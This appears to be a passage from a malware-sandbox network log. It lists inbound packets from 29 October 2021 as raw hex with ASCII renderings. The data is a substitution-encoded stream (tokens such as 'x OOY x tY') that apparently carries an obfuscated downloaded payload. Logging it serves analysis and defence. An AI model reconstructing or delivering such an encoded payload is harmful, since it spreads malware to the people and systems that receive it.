2021-10-29 18:30:03 UTC	2707	IN	Data Raw: 78 20 4f 4f 59 20 78 20 74 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 4f 78 52 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 59 6f 20 78 20 74 74 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: x OOY x tY x Rt x OxE x Kt x OOk x OxR x OOQ x OOY x tY x Rt x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x Yo x tt x Rt x OxE x kQ x RQ x OxE x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-10-29 18:30:03 UTC	2711	IN	Data Raw: 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4f 4f 74 20 78 20 4f 4f 4f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 Data Ascii: x kO x Kk x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OOx x tk x OxR x Kt x Yt x OoO x YY x Kt x Yt x OoO x YY x Kt x Yt x OoO x YY x OOt x OOO x tK x OOo x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO
2021-10-29 18:30:03 UTC	2715	IN	Data Raw: 78 20 6b 52 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 4f 78 4b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 4f 52 20 78 20 52 6b 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 4f 45 20 78 20 59 78 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 78 20 59 45 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 52 20 78 20 52 Data Ascii: x kR x Kt x kx x OxR x tO x Oox x tE x OxK x OOO x YK x OOR x Rk x Rt x Kt x Yt x OOE x Yx x OxR x Oxk x YE x Qx x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OxQ x Oox x Qt x OOk x kY x OOR x tR x OOK x kk x tk x Ooo x KE x kx x OxR x Yo x OOY x tR x R
2021-10-29 18:30:03 UTC	2716	IN	Data Raw: 78 20 4f 78 52 20 78 20 4f 4f 51 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 51 20 78 20 52 6b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 4f 78 78 20 78 20 4f 4f 78 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 74 6f 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 59 20 78 20 4f 78 4b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 Data Ascii: x OxR x OOQ x RQ x Rt x OxE x OOQ x RQ x Rk x RR x RY x RQ x Rt x OxE x OOQ x Oxx x OOx x ko x Kk x kO x to x OxK x RY x kY x tY x OxK x OxE x RY x RY x RY x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR
2021-10-29 18:30:03 UTC	2721	IN	Data Raw: 20 78 20 4f 6f 6f 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 78 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 6b 51 20 78 20 4f 6f 4f 20 78 20 4f 4f 4f 20 78 20 4f 6f 78 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 6f 20 78 20 4f 4f 52 20 78 20 6b 78 20 Data Ascii: x Ooo x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x OOx x OxQ x kR x kQ x OoO x OOO x Oox x OOK x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Yo x OOR x kx
2021-10-29 18:30:03 UTC	2725	IN	Data Raw: 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 Data Ascii: OOo x OxQ x Oox x Qt x OxE x kK x kO x Kk x OOK x kk x tk x Ooo x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOK x kk x tk x Ooo x
2021-10-29 18:30:03 UTC	2729	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 74 20 78 20 59 52 20 78 20 4b 45 20 78 20 4f 4f 74 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Yt x YR x KE x OOt x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Y
2021-10-29 18:30:03 UTC	2733	IN	Data Raw: 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 Data Ascii: x RY x Rt x RY x RY x RY x RY x RY x OxE x RY x Rt x RY x RY x tE x Rt x RY x RY x RY x Rt x RY x OxE x tE x RY x RY x OOQ x tt x Rk x RY x RY x RY x RY x RY x Kt x OOQ x RY x RY x Kt x OOQ x RY x RY x RY x kx x Kt x Kt x RY x kx x YR x RY x RY x RY x Rk
2021-10-29 18:30:03 UTC	2737	IN	Data Raw: 78 20 52 59 20 78 20 59 45 20 78 20 6b 51 20 78 20 4f 78 78 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 74 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 6f 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 Data Ascii: x RY x YE x kQ x Oxx x OOY x RY x kx x tQ x tx x Qt x OxE x Rk x Yo x OxK x kt x OOO x RY x KE x kQ x kR x OOE x RY x kx x OxQ x tx x Qt x OxE x Rk x YE x OxK x kt x OOO x RY x KE x kQ x kR x OOE x RY x kx x OxQ x tx x Qt x OxE x Rk x YE x OxK x kt x OOO
2021-10-29 18:30:03 UTC	2741	IN	Data Raw: 4f 6b 20 78 20 4f 78 78 20 78 20 4f 78 59 20 78 20 74 6f 20 78 20 52 51 20 78 20 6b 78 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 74 6f 20 78 20 4f 4f 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 74 6f 20 78 20 6b 6b 20 78 20 4f 4f 78 20 78 20 4b 74 20 78 20 4f 4f 6f 20 78 20 4f 78 59 20 78 20 4f 78 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 74 20 78 20 4f 78 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 74 45 20 78 20 6b 6b 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 74 78 20 78 20 59 52 20 78 20 4b 74 20 78 20 59 45 20 78 20 51 78 20 78 20 51 74 20 78 20 74 4b 20 78 Data Ascii: Ok x Oxx x OxY x to x RQ x kx x OOo x Rk x kO x kY x to x OOo x OxE x RY x RY x RY x Rt x Yx x OxK x to x kk x OOx x Kt x OOo x OxY x OxY x Rt x Kt x YK x tt x Oxt x Oxo x Kt x KE x OxR x tE x kk x Ooo x Kt x OOO x OoO x tx x YR x Kt x YE x Qx x Qt x tK x
2021-10-29 18:30:03 UTC	2745	IN	Data Raw: 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 74 74 20 78 20 6b 6b 20 78 20 6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6f 20 78 20 59 59 20 78 20 6b 78 20 78 20 6b 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 4b 45 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 6b 78 20 78 20 59 74 20 78 20 59 4b 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 51 6b 20 78 20 52 51 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4b Data Ascii: Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOk x tt x kk x kY x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOo x YY x kx x kk x Kt x KQ x Oxx x YY x OOQ x Kt x YY x KE x Kk x OxE x kx x Yt x YK x Qx x OxE x OOk x Kt x Qk x RQ x OOO x YK x K
2021-10-29 18:30:03 UTC	2748	IN	Data Raw: 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 45 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 74 52 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 59 74 20 78 20 74 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 6b 78 20 78 20 4b 74 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 6b 78 20 78 20 4b 74 20 78 20 6b 52 20 78 Data Ascii: K x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x KE x OOK x OxY x kO x tR x Kt x Ooo x Yt x to x kx x Kt x Yt x kk x OxO x YR x kx x Kt x kR x YO x OOk x Rk x Kt x KQ x Oxx x YY x OOQ x Kt x Yt x kk x OxO x YR x kx x Kt x kR x
2021-10-29 18:30:03 UTC	2753	IN	Data Raw: 6f 6f 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 6b 51 20 78 20 6b 59 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4f 20 78 20 52 74 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 4f 4f 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 4f 4f 51 20 78 20 4f 4f 4b 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f Data Ascii: oo x Kt x OOO x kQ x kY x kt x Kt x YK x tO x Rt x RR x OOk x Yt x OOO x kY x RY x tR x OxK x tK x OxY x tE x RY x kx x OOY x OOQ x OOK x OxK x OOk x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOK x Kt x KE x OOk x Kt x Yt x Kt x Kt x Ooo
2021-10-29 18:30:03 UTC	2757	IN	Data Raw: 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 Data Ascii: KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x Yt x Kt x Kt x Ooo x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x
2021-10-29 18:30:03 UTC	2761	IN	Data Raw: 78 4f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 74 4b 20 78 20 74 6f 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 6b 20 78 20 4f 78 4f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4f 4f 6f 20 78 20 74 52 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 74 20 78 20 51 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 4f 4f 4b 20 78 20 4f 78 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 74 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 4b 74 20 78 20 59 59 20 78 20 6b 45 20 78 20 74 4f Data Ascii: xO x kt x Kt x Kt x RY x YO x Oxk x OOk x Kt x OOR x tk x tK x to x Kt x YR x Rk x OxO x kt x Kt x Kt x RY x YO x Oxk x OOk x Kt x OOQ x tR x OOo x tR x Kt x YR x Rt x Qt x tQ x Kt x Kt x RY x OOK x Oxt x Oxo x Kt x OOR x tK x OOO x YO x Kt x YY x kE x tO
2021-10-29 18:30:03 UTC	2765	IN	Data Raw: 4b 20 78 20 4f 4f 74 20 78 20 59 59 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 6b 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 74 20 78 20 51 78 20 78 20 52 51 20 78 20 4b 6b 20 78 20 74 45 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 74 6f 20 78 20 59 74 20 78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 74 78 20 78 20 6b 52 20 78 20 4f 78 74 20 78 20 4b 51 20 78 20 6b 45 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 45 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 74 20 78 20 59 45 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 51 Data Ascii: K x OOt x YY x YO x Kt x KE x OOK x OOt x Yt x Kt x Kt x kx x Kk x QQ x YY x Kt x Qx x RQ x Kk x tE x Yt x OxR x OOY x Qx x to x Yt x tt x Rk x RY x kO x tx x kR x Oxt x KQ x kE x RY x Kt x YE x tK x kK x OxE x Oxo x Kt x tx x Oxt x YE x kx x Kt x OOQ x Q
2021-10-29 18:30:03 UTC	2769	IN	Data Raw: 20 4b 6b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 45 Data Ascii: Kk x Kt x KE x Ooo x QQ x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x OxE x Kt x KE x Ooo x Qk x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x Oxo x Kt x KE x Ooo x Qk x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x OxE
2021-10-29 18:30:03 UTC	2773	IN	Data Raw: 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 4b 20 78 20 4f 4f 78 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 Data Ascii: tK x RY x RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OOQ x RY x tY x OOQ x RR x kK x RY x RY x RY x RY x RY x RY x RR x tK x OOx x Rt x kQ x RY x kY x RY x RR x OoO x RY x tO x YR x RY x QQ x RY x RR x Oxk x RY x to x tE x RY x Oxx x RY x RR x OOo x R
2021-10-29 18:30:03 UTC	2777	IN	Data Raw: 6f 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 51 20 78 20 4f 4f 78 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 Data Ascii: o x RY x QQ x OOQ x RY x tK x RY x RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OOQ x RY x tY x OOQ x RR x kO x RY x tO x OOQ x RY x Oxx x kO x RR x Ooo x RY x RY x RY x RY x RY x RY x RR x kQ x OOx x RQ x RQ x RY x Oxx x kO x RR x Kk x RY x tO x YR x R
